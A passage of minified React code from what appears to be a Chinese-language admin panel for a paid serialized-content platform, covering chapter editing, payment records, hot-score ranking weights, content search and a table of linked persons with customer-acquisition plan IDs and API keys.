0:me.id)??"")},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择篇"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标章"}),s.jsxs(hl,{value:U,onValueChange:le,children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择章"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:(((Oo=Dn.find(M=>M.id===V))==null?void 0:Oo.chapters)??[]).map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>K(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Oa,disabled:J||H.length===0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:J?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"移动中..."]}):"确认移动"})]})]})}),s.jsx(Dt,{open:!!ye,onOpenChange:M=>!M&&Re(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-3xl max-h-[85vh] overflow-hidden flex flex-col",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white",children:["付款记录 — ",(ye==null?void 0:ye.section.title)??""]})}),s.jsx("div",{className:"flex-1 overflow-y-auto py-2",children:Le?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):ye&&ye.orders.length===0?s.jsx("p",{className:"text-gray-500 text-center py-6",children:"暂无付款记录"}):ye?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"py-2 pr-2",children:"订单号"}),s.jsx("th",{className:"py-2 pr-2",children:"用户ID"}),s.jsx("th",{className:"py-2 pr-2",children:"金额"}),s.jsx("th",{className:"py-2 pr-2",children:"状态"}),s.jsx("th",{className:"py-2 pr-2",children:"支付时间"})]})}),s.jsx("tbody",{children:ye.orders.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-blue-400 hover:text-blue-300 hover:underline text-left truncate max-w-[180px] block",title:`查看订单 ${M.orderSn}`,onClick:()=>window.open(`/orders?search=${M.orderSn??M.id??""}`,"_blank"),children:M.orderSn?M.orderSn.length>16?M.orderSn.slice(0,8)+"..."+M.orderSn.slice(-6):M.orderSn:"-"})}),s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-[#38bdac] hover:text-[#2da396] hover:underline text-left truncate max-w-[140px] block",title:`查看用户 ${M.userId??M.openId??""}`,onClick:()=>window.open(`/users?search=${M.userId??M.openId??""}`,"_blank"),children:(()=>{const Q=M.userId??M.openId??"-";return Q.length>12?Q.slice(0,6)+"..."+Q.slice(-4):Q})()})}),s.jsxs("td",{className:"py-2 pr-2 text-gray-300",children:["¥",M.amount??0]}),s.jsx("td",{className:"py-2 pr-2 text-gray-300",children:M.status??"-"}),s.jsx("td",{className:"py-2 pr-2 text-gray-500",children:M.payTime??M.createdAt??"-"})]},M.id??M.orderSn??""))})]}):null})]})}),s.jsx(Dt,{open:Tt,onOpenChange:ln,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Cu,{className:"w-5 h-5 text-amber-400"}),"文章排名算法"]})}),s.jsxs("div",{className:"space-y-4 py-2",children:[s.jsx("p",{className:"text-sm text-gray-400",children:"热度积分 = 阅读权重×阅读排名分 + 新度权重×新度排名分 + 付款权重×付款排名分(三权重之和须为 1)"}),In?s.jsx("p",{className:"text-gray-500",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"阅读权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.readWeight,onChange:M=>nn(Q=>({...Q,readWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"新度权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.recencyWeight,onChange:M=>nn(Q=>({...Q,recencyWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"付款权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.payWeight,onChange:M=>nn(Q=>({...Q,payWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["当前之和: ",(yt.readWeight+yt.recencyWeight+yt.payWeight).toFixed(1)]}),s.jsxs("ul",{className:"list-disc list-inside space-y-1 text-xs text-gray-400",children:[s.jsx("li",{children:"阅读量前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"最近更新前 30 篇:第1名=30分、第2名=29分...第30名=1分"}),s.jsx("li",{children:"付款数前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"热度分可在编辑章节中手动覆盖"})]}),s.jsx(te,{onClick:Ro,disabled:Yt||Math.abs(yt.readWeight+yt.recencyWeight+yt.payWeight-1)>.001,className:"w-full bg-amber-500 hover:bg-amber-600 text-white",children:Yt?"保存中...":"保存权重"})]})]})]})}),s.jsx(Dt,{open:_,onOpenChange:Z,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-amber-400"}),"新建篇"]})}),s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名(如:第六篇|真实的社会)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:B,onChange:M=>re(M.target.value),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>{Z(!1),re("")},className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:_i,disabled:ue||!B.trim(),className:"bg-amber-500 hover:bg-amber-600 text-white",children:ue?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建篇"]})})]})]})}),s.jsx(Dt,{open:!!o,onOpenChange:()=>c(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节"]})}),o&&s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.id,onChange:M=>c({...o,id:M.target.value}),placeholder:"如: 9.15"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:o.isFree?0:o.price,onChange:M=>c({...o,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:o.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isFree||o.price===0,onChange:M=>c({...o,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isNew??!1,onChange:M=>c({...o,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isPinned??!1,onChange:M=>c({...o,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium!==!0,onChange:()=>c({...o,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium===!0,onChange:()=>c({...o,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:o.hotScore??0,onChange:M=>c({...o,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.title,onChange:M=>c({...o,title:M.target.value})})]}),o.filePath&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文件路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-gray-400 text-sm",value:o.filePath,disabled:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),f?s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700 rounded-md min-h-[400px] flex items-center justify-center",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(Ex,{ref:ds,content:o.content||"",onChange:M=>c({...o,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[o&&s.jsxs(te,{variant:"outline",onClick:()=>Ve({id:o.id,title:o.title,price:o.price}),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent mr-auto",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"付款记录"]}),s.jsxs(te,{variant:"outline",onClick:()=>c(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsx(te,{onClick:Nn,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存修改"]})})]})]})}),s.jsxs(yd,{defaultValue:"chapters",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"chapters",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"章节管理"]}),s.jsxs(Zt,{value:"ranking",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Dg,{className:"w-4 h-4 mr-2"}),"内容排行榜"]}),s.jsxs(Zt,{value:"search",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Na,{className:"w-4 h-4 mr-2"}),"内容搜索"]}),s.jsxs(Zt,{value:"link-person",className:"data-[state=active]:bg-purple-500/20 data-[state=active]:text-purple-400 text-gray-400",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"链接人与事"]}),s.jsxs(Zt,{value:"link-tag",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Bv,{className:"w-4 h-4 mr-2"}),"链接标签"]}),s.jsxs(Zt,{value:"linkedmp",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"关联小程序"]})]}),s.jsxs(en,{value:"chapters",className:"space-y-4",children:[s.jsxs("div",{className:"rounded-2xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between shadow-sm",children:[s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac] flex items-center justify-center text-white shadow-lg shadow-[#38bdac]/20 shrink-0",children:s.jsx(Br,{className:"w-6 h-6"})}),s.jsxs("div",{children:[s.jsx("h2",{className:"font-bold text-base text-white leading-tight mb-1",children:"一场SOUL的创业实验场"}),s.jsx("p",{className:"text-xs text-gray-500",children:"来自Soul派对房的真实商业故事"})]})]}),s.jsxs("div",{className:"text-center shrink-0",children:[s.jsx("span",{className:"block text-2xl font-bold text-[#38bdac]",children:us}),s.jsx("span",{className:"text-xs text-gray-500",children:"章节"})]})]}),s.jsxs("div",{className:"flex flex-wrap gap-2",children:[s.jsxs(te,{onClick:()=>h(!0),className:"flex-1 min-w-[120px] bg-[#38bdac]/10 hover:bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建章节"]}),s.jsxs(te,{onClick:()=>Z(!0),className:"flex-1 min-w-[120px] bg-amber-500/10 hover:bg-amber-500/20 text-amber-400 border border-amber-500/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建篇"]}),s.jsxs(te,{variant:"outline",onClick:()=>K(!0),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:["批量移动(已选 ",H.length," 节)"]})]}),n?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(aV,{parts:Dn,expandedParts:a,onTogglePart:ea,onReorder:Rr,onReadSection:Ge,onDeleteSection:Pi,onAddSectionInPart:Po,onAddChapterInPart:ps,onDeleteChapter:Wl,onEditPart:Qt,onDeletePart:zi,onEditChapter:Os,selectedSectionIds:H,onToggleSectionSelect:Ul,onShowSectionOrders:Ve,pinnedSectionIds:Je})]}),s.jsx(en,{value:"search",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"内容搜索"})}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 flex-1",placeholder:"搜索标题或内容...",value:N,onChange:M=>w(M.target.value),onKeyDown:M=>M.key==="Enter"&&kd()}),s.jsx(te,{onClick:kd,disabled:C||!N.trim(),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:C?s.jsx(Ke,{className:"w-4 h-4 animate-spin"}):s.jsx(Na,{className:"w-4 h-4"})})]}),v.length>0&&s.jsxs("div",{className:"space-y-2 mt-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["找到 ",v.length," 个结果"]}),v.map(M=>s.jsxs("div",{className:"p-3 rounded-lg bg-[#162840] hover:bg-[#1a3050] cursor-pointer transition-colors",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price??1,filePath:""}),children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs",children:M.id}),s.jsx("span",{className:"text-white",children:M.title}),Je.includes(M.id)&&s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})]}),s.jsx(qe,{variant:"outline",className:"text-gray-400 border-gray-600 text-xs",children:M.matchType==="title"?"标题匹配":"内容匹配"})]}),M.snippet&&s.jsx("p",{className:"text-gray-500 text-xs mt-2 line-clamp-2",children:M.snippet}),(M.partTitle||M.chapterTitle)&&s.jsxs("p",{className:"text-gray-600 text-xs mt-1",children:[M.partTitle," · ",M.chapterTitle]})]},M.id))]})]})]})}),s.jsxs(en,{value:"ranking",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-[#38bdac]"}),"内容显示规则"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4 flex-wrap",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(X,{className:"text-gray-400 text-sm whitespace-nowrap",children:"未付费预览比例"}),s.jsx(se,{type:"number",min:"1",max:"100",className:"bg-[#0a1628] border-gray-700 text-white w-20",value:gt,onChange:M=>Rt(Math.max(1,Math.min(100,Number(M.target.value)||20))),disabled:gn}),s.jsx("span",{className:"text-gray-500 text-sm",children:"%"})]}),s.jsx(te,{size:"sm",onClick:Pe,disabled:wr,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:wr?"保存中...":"保存"}),s.jsxs("span",{className:"text-xs text-gray-500",children:["小程序未付费用户默认显示文章前 ",gt,"% 内容"]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Dg,{className:"w-4 h-4 text-amber-400"}),"内容排行榜",s.jsxs("span",{className:"text-xs text-gray-500 font-normal ml-2",children:["按热度排行 · 共 ",Pn.length," 节"]})]}),s.jsxs("div",{className:"flex items-center gap-1 text-sm",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Kr(),disabled:q,className:"text-gray-400 hover:text-white h-7 w-7 p-0",title:"刷新排行榜",children:s.jsx(Ke,{className:`w-4 h-4 ${q?"animate-spin":""}`})}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn<=1||q,onClick:()=>pr(M=>Math.max(1,M-1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(JT,{className:"w-4 h-4"})}),s.jsxs("span",{className:"text-gray-400 min-w-[60px] text-center",children:[Rn," / ",Rs]}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn>=Rs||q,onClick:()=>pr(M=>Math.min(Rs,M+1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(pl,{className:"w-4 h-4"})})]})]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"space-y-0",children:[s.jsxs("div",{className:"grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2 text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("span",{children:"排名"}),s.jsx("span",{children:"置顶"}),s.jsx("span",{children:"标题"}),s.jsx("span",{className:"text-right",children:"点击量"}),s.jsx("span",{className:"text-right",children:"付款数"}),s.jsx("span",{className:"text-right",children:"热度"}),s.jsx("span",{className:"text-right",children:"编辑"})]}),Ma.map((M,Q)=>{const me=(Rn-1)*hs+Q+1,Ne=M.isPinned??Je.includes(M.id);return s.jsxs("div",{className:`grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2.5 items-center border-b border-gray-700/30 hover:bg-[#162840] transition-colors ${Ne?"bg-amber-500/5":""}`,children:[s.jsx("span",{className:`text-sm font-bold ${me<=3?"text-amber-400":"text-gray-500"}`,children:me<=3?["🥇","🥈","🥉"][me-1]:`#${me}`}),s.jsx(te,{variant:"ghost",size:"sm",className:`h-6 w-6 p-0 ${Ne?"text-amber-400":"text-gray-600 hover:text-amber-400"}`,onClick:()=>Pa(M.id),disabled:ct,title:Ne?"取消置顶":"强制置顶(精选推荐/首页最新更新)",children:Ne?s.jsx(gl,{className:"w-3.5 h-3.5 fill-current"}):s.jsx(xA,{className:"w-3.5 h-3.5"})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("span",{className:"text-white text-sm truncate block",children:M.title}),s.jsxs("span",{className:"text-gray-600 text-xs",children:[M.partTitle," · ",M.chapterTitle]})]}),s.jsx("span",{className:"text-right text-sm text-blue-400 font-mono",children:M.clickCount??0}),s.jsx("span",{className:"text-right text-sm text-green-400 font-mono",children:M.payCount??0}),s.jsx("span",{className:"text-right text-sm text-amber-400 font-mono",children:(M.hotScore??0).toFixed(1)}),s.jsx("div",{className:"text-right",children:s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-500 hover:text-[#38bdac] h-6 px-1",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price,filePath:""}),title:"编辑文章",children:s.jsx(Wt,{className:"w-3 h-3"})})})]},M.id)}),Ma.length===0&&s.jsx("div",{className:"py-8 text-center text-gray-500",children:"暂无数据"})]})})]})]}),s.jsxs(en,{value:"link-person",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] text-lg font-bold",children:"@"}),"AI列表 — 链接人与事(编辑器内输入 @ 可链接)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"添加时自动生成 32 位 token,文章 @ 时存 token;小程序点击 @ 时用 token 兑换真实密钥后加好友"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("p",{className:"text-xs text-gray-500",children:"添加人物时同步创建存客宝场景获客计划,配置与存客宝 API 获客一致"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>qr(),title:"刷新",children:s.jsx(Ke,{className:"w-4 h-4"})}),s.jsxs(te,{size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",onClick:()=>{Xs(null),On(!0)},children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加"]})]})]}),s.jsx("div",{className:"max-h-[400px] overflow-y-auto",children:Wr.length>0?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("th",{className:"text-left py-1.5 px-3 w-[280px] font-normal",children:"token"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-24 font-normal",children:"@的人"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"获客计划活动名"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-20 font-normal",children:"planId"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"apiKey"}),s.jsx("th",{className:"text-left py-1.5 px-2 w-24 font-normal",children:"操作"})]})}),s.jsx("tbody",{children:Wr.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/30 hover:bg-[#0a1628]/80",children:[s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"32位token",children:M.id}),s.jsx("td",{className:"py-2 px-3 text-amber-400 truncate max-w-[96px]",title:"@的人",children:M.name}),s.jsxs("td",{className:"py-2 px-3 text-white truncate max-w-[200px]",title:"获客计划活动名",children:["SOUL链接人与事-",M.name]}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"存客宝计划ID",children:M.ckbPlanId??"-"}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono whitespace-nowrap",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[M.ckbApiKey?s.jsx(te,{variant:"ghost",size:"sm",className:"h-6 w-6 p-0 text-gray-500 hover:text-[#38bdac] shrink-0",title:"复制 apiKey",onClick:async()=>{await navigator.clipboard.writeText(M.ckbApiKey??""),ie.success("已复制到剪贴板")},children:s.jsx(Bx,{className:"w-3.5 h-3.5"})}):null,s.jsx("span",{title:M.ckbApiKey??"",children:M.ckbApiKey??"-"})]})}),s.jsx("td",{className:"py-2 px-2",children:s.jsxs("div",{className:"flex items-center gap-0",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-[#38bdac] h-6 px-2",title:"编辑",onClick:async()=>{try{const Q=await oV(M.personId||"");if(Q!=null&&Q.success&&Q.person){const me=Q.person;Xs({id:me.token??me.personId,personId:me.personId,name:me.name,label:me.label??"",ckbApiKey:me.ckbApiKey??"",remarkType:me.remarkType,remarkFormat:me.remarkFormat,addFriendInterval:me.addFriendInterval,startTime:me.startTime,endTime:me.endTime,deviceGroups:me.deviceGroups})}else Xs(M),Q!=null&&Q.error&&ie.error(Q.error)}catch(Q){console.error(Q),Xs(M),ie.error(Q instanceof Error?Q.message:"加载人物详情失败")}On(!0)},children:s.jsx(nj,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-amber-400 h-6 px-2",title:"编辑计划(跳转存客宝)",onClick:()=>{const Q=M.ckbPlanId;Q?window.open(`https://h5.ckb.quwanzhi.com/#/scenarios/edit/${Q}`,"_blank"):ie.info("该人物尚未同步存客宝计划,请先保存后等待同步完成")},children:s.jsx(Us,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",title:"删除(同时删除存客宝对应获客计划)",onClick:()=>Zs(M),children:s.jsx(ir,{className:"w-3 h-3"})})]})})]},M.id))})]}):s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无AI人物,添加后可在编辑器中 @链接"})})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-green-400"}),"存客宝绑定"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"配置存客宝 API 后,文章中 @人物 或 #标签 点击可自动进入存客宝流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝 API 地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white 